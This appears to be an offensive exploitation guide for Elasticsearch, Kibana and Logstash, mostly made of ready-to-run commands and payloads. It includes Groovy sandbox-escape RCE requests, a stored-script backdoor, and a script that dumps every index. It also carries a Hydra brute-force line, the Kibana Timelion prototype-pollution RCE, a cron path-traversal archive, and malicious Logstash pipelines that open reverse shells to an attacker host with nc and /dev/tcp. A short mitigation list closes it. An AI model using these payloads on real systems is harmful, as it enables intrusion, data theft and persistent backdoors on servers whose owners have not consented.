This guide provides complete, step-by-step methodologies for exploiting vulnerabilities in Elasticsearch, Kibana, and Logstash. Each section includes real-world attack patterns, tool usage, Burp Suite techniques, and testing procedures based on actual exploits discovered between 2015 and 2026.
Vulnerability Overview: Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 contain a vulnerability in the Groovy scripting engine that allows attackers to escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM .
Real-World Impact: This vulnerability was actively exploited by threat actors in 2019 to build DDoS botnets. Attackers scanned for exposed Elasticsearch servers and deployed BillGates malware variants capable of launching DNS reflection amplification attacks .
Affected Versions:
- Elasticsearch 1.3.0 through 1.3.7
- Elasticsearch 1.4.0 through 1.4.2
Step 1: Identify Vulnerable Target
First, verify if the target Elasticsearch instance is accessible and determine its version:
curl -X GET "http://target:9200/"Look for version information in the response. If you see versions between 1.3.0-1.4.2, the target is likely vulnerable.
Step 2: Test for Dynamic Scripting Availability
Check if dynamic Groovy scripting is enabled (default configuration is vulnerable):
curl -X GET "http://target:9200/_cluster/settings?include_defaults=true" | grep -i groovyStep 3: Execute Commands via Groovy Sandbox Bypass
The vulnerability allows execution of system commands through Groovy's native capabilities without using Java reflection .
Direct Command Execution Payload:
curl -X POST "http://target:9200/_search?pretty" -H 'Content-Type: application/json' -d '
{
"script_fields": {
"my_field": {
"script": "def command=\"whoami\"; def res=command.execute().text; res",
"lang": "groovy"
}
}
}'Reverse Shell Payload:
curl -X POST "http://target:9200/_search?pretty" -H 'Content-Type: application/json' -d '
{
"script_fields": {
"my_field": {
"script": "def command=\"nc -e /bin/sh attacker_ip 4444\"; def res=command.execute().text; res",
"lang": "groovy"
}
}
}'Step 4: Advanced Exploitation - Persistent Backdoor via Script Indexing
This technique allows you to store malicious scripts for persistent access .
Create a stored script (backdoor):
curl -X POST "http://target:9200/_scripts/groovy/shell_backdoor" -H 'Content-Type: application/json' -d '
{
"script": "def res=command.execute().text; res"
}'Execute the stored script with parameters:
curl -X POST "http://target:9200/_search?pretty" -H 'Content-Type: application/json' -d '
{
"query": {
"match_all": {}
},
"script_fields": {
"exec_result": {
"script_id": "shell_backdoor",
"lang": "groovy",
"params": {
"command": "id"
}
}
}
}'Nmap provides a dedicated script for detecting CVE-2015-1427 :
nmap --script=http-vuln-cve2015-1427 --script-args command='id' target_ip -p 9200Expected output:
| http-vuln-cve2015-1427:
| VULNERABLE:
| ElasticSearch CVE-2015-1427 RCE Exploit
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2015-1427
| Risk factor: High CVSS2: 7.5
| Exploit results:
| ElasticSearch version: 1.3.7
| Java version: 1.8.0_45
Step 1: Capture a request to the Elasticsearch endpoint in Burp Suite.
Step 2: Send to Repeater and modify the request:
POST /_search?pretty HTTP/1.1
Host: target:9200
Content-Type: application/json
Content-Length: [calculate]
{
"script_fields": {
"test": {
"script": "def cmd=\"cat /etc/passwd\"; def result=cmd.execute().text; result",
"lang": "groovy"
}
}
}
Step 3: Click "Send" and observe command output in the response.
Check if authentication is disabled :
# Check version info - if accessible, auth may be disabled
curl -X GET "http://target:9200/"
# Verify security status
curl -X GET "http://target:9200/_xpack/security/user"If you receive a response containing "Security must be explicitly enabled", authentication is DISABLED and you have full access .
If you receive a 401 error with "missing authentication credentials", authentication is ENABLED.
Once unauthenticated access is confirmed, enumerate all data :
# List all indices (databases)
curl 'http://target:9200/_cat/indices?v'
# List all nodes in cluster
curl 'http://target:9200/_cat/nodes?v'
# View cluster status
curl 'http://target:9200/_status'
# Search all indices (first 10 results)
curl 'http://target:9200/_search?pretty'
# Search specific index
curl 'http://target:9200/index_name/_search?pretty'
# Dump entire index
curl 'http://target:9200/index_name/_search?size=10000&pretty'import requests
import json
target = "http://target:9200"
# List all indices
response = requests.get(f"{target}/_cat/indices?format=json")
indices = response.json()
for index in indices:
index_name = index['index']
print(f"Dumping index: {index_name}")
# Extract all documents from this index
docs = requests.get(f"{target}/{index_name}/_search?size=10000")
data = docs.json()
# Save to file
with open(f"{index_name}_dump.json", "w") as f:
json.dump(data, f, indent=2)Default Built-in Users :
elastic(superuser - default password:changemein older versions)kibana_systemlogstash_systembeats_systemapm_systemremote_monitoring_user
hydra -l elastic -P /usr/share/wordlists/rockyou.txt target -s 9200 http-get /Once credentials are obtained :
# List all users
curl -X GET "http://target:9200/_security/user" -u elastic:password
# List all roles
curl -X GET "http://target:9200/_security/role" -u elastic:password
# Check specific user privileges
curl -X GET "http://target:9200/_security/user/elastic" -u elastic:password
# Using API key instead of credentials
curl -H "Authorization: ApiKey your_api_key_here" "http://target:9200/"Vulnerability Overview: Kibana versions before 5.6.15 and 6.6.1 contain a prototype pollution vulnerability in the Timelion visualizer that allows arbitrary code execution .
Real-World Discovery: Security researcher Michał Bentkowski discovered this vulnerability and presented it at OWASP Poland Day. On October 16, 2019, Alibaba Cloud researcher Henry Chen tweeted the Proof of Concept, and an exploit script was published to GitHub on October 21, 2019 .
Affected Versions :
- Kibana 3.0 through 5.6.14 - VULNERABLE
- Kibana 6.0.0 through 6.6.0 - VULNERABLE
- Kibana 5.6.15 and 6.6.1+ - NOT VULNERABLE
Risk Assessment: CVSS 10.0 (Critical) - allows full remote code execution with Kibana process privileges .
Prerequisites:
- Access to Kibana's Timelion page (typically
http://target:5601/app/timelion) - Network access to the Kibana port (default: 5601)
Step 1: Environment Setup (for lab testing)
# On Docker host, modify kernel setting
sysctl -w vm.max_map_count=262144
# Start vulnerable Kibana and Elasticsearch
docker-compose up -dStep 2: Prepare Listener for Reverse Shell
On your attacker machine:
nc -lvnp 4444Step 3: Access Timelion Page
Navigate to: http://target:5601/app/timelion
Step 4: Inject Prototype Pollution Payload
In the Timelion expression input box, enter the following payload (replace attacker_ip and port with your values) :
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("nc -e /bin/sh attacker_ip 4444");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')Alternative Payload for Testing (file creation) :
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/pwned");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')Step 5: Trigger Execution
Click the "Execute" button (play icon) on the Timelion page, then navigate to the "Canvas" page by clicking the Canvas icon in the left sidebar .
Step 6: Verify Exploitation
- For reverse shell: Check your netcat listener for incoming connection
- For file creation: On the target, verify the file exists:
ls -la /tmp/pwned
The vulnerability exploits JavaScript prototype pollution combined with Node.js environment variable hijacking .
Phase 1 - Environment Pollution:
The payload uses Timelion's props() method to modify the global Object prototype. By setting label.__proto__.env.AAAA, the attacker adds a property to all objects' environment .
Phase 2 - Command Injection:
The AAAA environment variable contains JavaScript code that will be executed. The NODE_OPTIONS variable is set to --require /proc/self/environ, which forces Node.js to load the polluted environment variables as a module, triggering execution .
Phase 3 - Execution Trigger:
When the Canvas page is accessed, Kibana spawns a new Node.js process that loads the polluted environment, executing the attacker's command .
Step 1: Configure Burp Suite as a proxy and access the Timelion page.
Step 2: Capture the request when clicking "Execute" on Timelion. The request will look similar to:
POST /api/timelion/run HTTP/1.1
Host: target:5601
Content-Type: application/json
{"sheet": [".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"nc -e /bin/sh 10.0.0.1 4444\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"], "time": {"from": "now-15m", "to": "now", "mode": "quick"}, "search": "..."}
Step 3: Send to Repeater and modify the command as needed.
Step 4: Send a second request to the Canvas endpoint to trigger execution:
GET /app/canvas HTTP/1.1
Host: target:5601
Existing Public Exploit Script :
A Python exploit script was published on GitHub in October 2019. Usage:
python exploit.py --host target_ip --port 5601 --lhost attacker_ip --lport 4444Search for vulnerable instances using BinaryEdge :
A BinaryEdge search reveals more than 4,200 publicly accessible Kibana instances. The most prominent versions of Kibana are vulnerable versions, such as 6.2.4, 6.3.2 and 6.3.1.
# Check Kibana version via API
curl http://target:5601/api/status
# Or check via response headers
curl -I http://target:5601If Elasticsearch has authentication disabled, Kibana will also be accessible without credentials .
Check Kibana configuration file (if you have access to the filesystem):
cat /etc/kibana/kibana.ymlLook for:
elasticsearch.usernameandelasticsearch.passwordelasticsearch.hostsserver.host(bind address)
Vulnerability Overview: This recently disclosed vulnerability (April 2026) affects Logstash versions 8.x before 8.19.14, 9.x before 9.2.8, and 9.3.x before 9.3.3. The archive extraction utilities used by Logstash do not properly validate file paths within compressed archives .
CVSS Score: 8.1 (High) / CVSS v4: 9.2 (Critical)
Attack Vector: An attacker who can serve a specially crafted archive to Logstash through a compromised or attacker-controlled update endpoint can write arbitrary files to the host filesystem with the privileges of the Logstash process .
Escalation: In configurations where automatic pipeline reloading is enabled (config.reload.automatic: true), this can be escalated to remote code execution .
Step 1: Check Logstash Version
curl http://target:9600/_node/stats?pretty | grep versionOr if you have access to the server:
/usr/share/logstash/bin/logstash --versionStep 2: Check for Automatic Reloading
grep "config.reload.automatic" /etc/logstash/logstash.ymlIf set to true, the system is vulnerable to RCE escalation.
Step 3: Create Malicious Archive
Create a tar file with path traversal payload:
# Create a file that will be extracted to an arbitrary location
echo "malicious content" > evil_file
# Create tar with path traversal
tar -cf payload.tar --transform='s|evil_file|../../../../etc/cron.d/backdoor|' evil_fileStep 4: Serve Malicious Archive
Set up a web server to host the malicious archive:
python3 -m http.server 8000Step 5: Trigger Logstash to Download and Extract
If Logstash is configured to fetch updates from an attacker-controlled endpoint, it will extract the archive without validating paths.
Real-World Attack Scenario (from HackTheBox Haystack machine) :
The attack chain involved:
- Discovering Logstash running on the target
- Finding write access to Logstash configuration directories
- Creating a malicious pipeline that executes commands
Prerequisites for Exploitation :
- Write access to
.conffiles in/etc/logstash/conf.d/ - OR write access to
/etc/logstash/pipelines.yml - AND either:
config.reload.automatic: truein/etc/logstash/logstash.yml- OR ability to restart the Logstash service
Step 1: Check Current Configuration
# Find pipeline configuration paths
cat /etc/logstash/pipelines.ymlExample output :
- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"Step 2: Create Malicious Pipeline Configuration
Create or modify a .conf file in the configuration directory:
# /etc/logstash/conf.d/evil.conf
input {
exec {
command => "bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'"
interval => 10
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
}Step 3: Trigger Execution
If config.reload.automatic is true, Logstash will detect the change within the interval specified (default: 3 seconds). If not, you need to restart the service:
sudo systemctl restart logstashStep 4: Advanced Logstash Exploitation - Using Grok Parsing
This technique uses Logstash's grok filter to parse specially crafted log files and execute commands .
Create filter.conf:
filter {
if [type] == "execute" {
grok {
match => {"message" => "Execute\s*command\s*:\s+%{GREEDYDATA:command}" }
}
}
}Create input.conf:
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10second"
type => "execute"
mode => "read"
}
}Create output.conf:
output {
if [type] == "execute" {
exec {
command => "%{command} &"
}
}
}Trigger command execution:
echo "Execute command: nc -e /bin/sh attacker_ip 4444" > /opt/kibana/logstash_triggerLogstash configuration files often contain credentials for various data sources .
Check common configuration locations:
# Main config
cat /etc/logstash/logstash.yml
# Pipeline configs
cat /etc/logstash/conf.d/*.conf
# Check for credentials in input plugins
grep -r "password\|user\|host\|port" /etc/logstash/conf.d/Example of sensitive data in configs:
input {
jdbc {
jdbc_connection_string => "jdbc:mysql://db.internal:3306/logs"
jdbc_user => "logstash_user"
jdbc_password => "SuperSecret123!"
jdbc_driver_library => "/etc/logstash/mysql-connector.jar"
}
}This real-world example from the HackTheBox Haystack machine demonstrates how ELK stack vulnerabilities can be chained together .
00:54 - Reconnaissance discovers Elasticsearch on port 9200
06:00 - Using /_cat/indices to list all indices in Elasticsearch
07:37 - Using /quotes/_search to dump the Quotes index and extract data using jq
22:50 - SSH access obtained as the security user
24:00 - Running LinEnum enumeration script, discovering Kibana listening on port 5601
28:15 - Creating a local port forward to access Kibana:
ssh -L 5601:localhost:5601 user@target29:50 - Checking Kibana version and finding known exploits (CVE-2019-7609)
30:50 - Getting a reverse shell as the Kibana user using the Timelion exploit
37:10 - Accessing Logstash directory and discovering it executes code with specific log messages
39:33 - Getting a reverse shell as the Logstash user (root privileges)
This demonstrates the full exploitation chain:
- Information disclosure via Elasticsearch
- Initial foothold via SSH
- Privilege escalation via Kibana RCE
- Further escalation via Logstash configuration abuse
| Tool | Purpose | Command Example |
|---|---|---|
| Nmap | CVE-2015-1427 detection | nmap --script=http-vuln-cve2015-1427 -p 9200 target |
| Nessus | Logstash CVE-2026-33466 detection | Plugin ID 305951 |
| BinaryEdge | Find exposed Kibana instances | Search for port 5601 |
| Tool | Use Case |
|---|---|
| Burp Suite | Intercept and modify Elasticsearch/Kibana API requests |
| curl | Direct API testing and command execution |
| netcat | Reverse shell listener |
| Python | Automated data extraction and exploit scripting |
| jq | Parse JSON responses from Elasticsearch API |
# Elasticsearch
curl -X GET "http://target:9200/" # Version check
curl -X GET "http://target:9200/_cat/indices?v" # List indices
curl -X GET "http://target:9200/_search?pretty" # Search all data
# Kibana
curl -I "http://target:5601" # Version headers
curl "http://target:5601/api/status" # Status API
# Logstash
curl "http://target:9600/_node/stats?pretty" # Version & stats
grep "config.reload.automatic" /etc/logstash/logstash.yml # Check reloadingBased on the vulnerabilities discussed:
-
Elasticsearch:
- Upgrade beyond version 1.4.2 or disable Groovy scripting (
script.groovy.sandbox.enabled: false) - Enable X-Pack security with strong passwords
- Never expose port 9200 directly to the internet
- Upgrade beyond version 1.4.2 or disable Groovy scripting (
-
Kibana:
- Upgrade to version 6.6.1 or 5.6.15 or higher
- If upgrade is not possible, disable Timelion:
timelion.enabled: falseinkibana.yml - Do not expose Kibana to public networks without authentication
-
Logstash:
- Upgrade to version 8.19.14, 9.2.8, or 9.3.3+
- Disable automatic pipeline reloading unless necessary
- Validate all archive files before extraction
- Run Logstash with least privilege (not as root)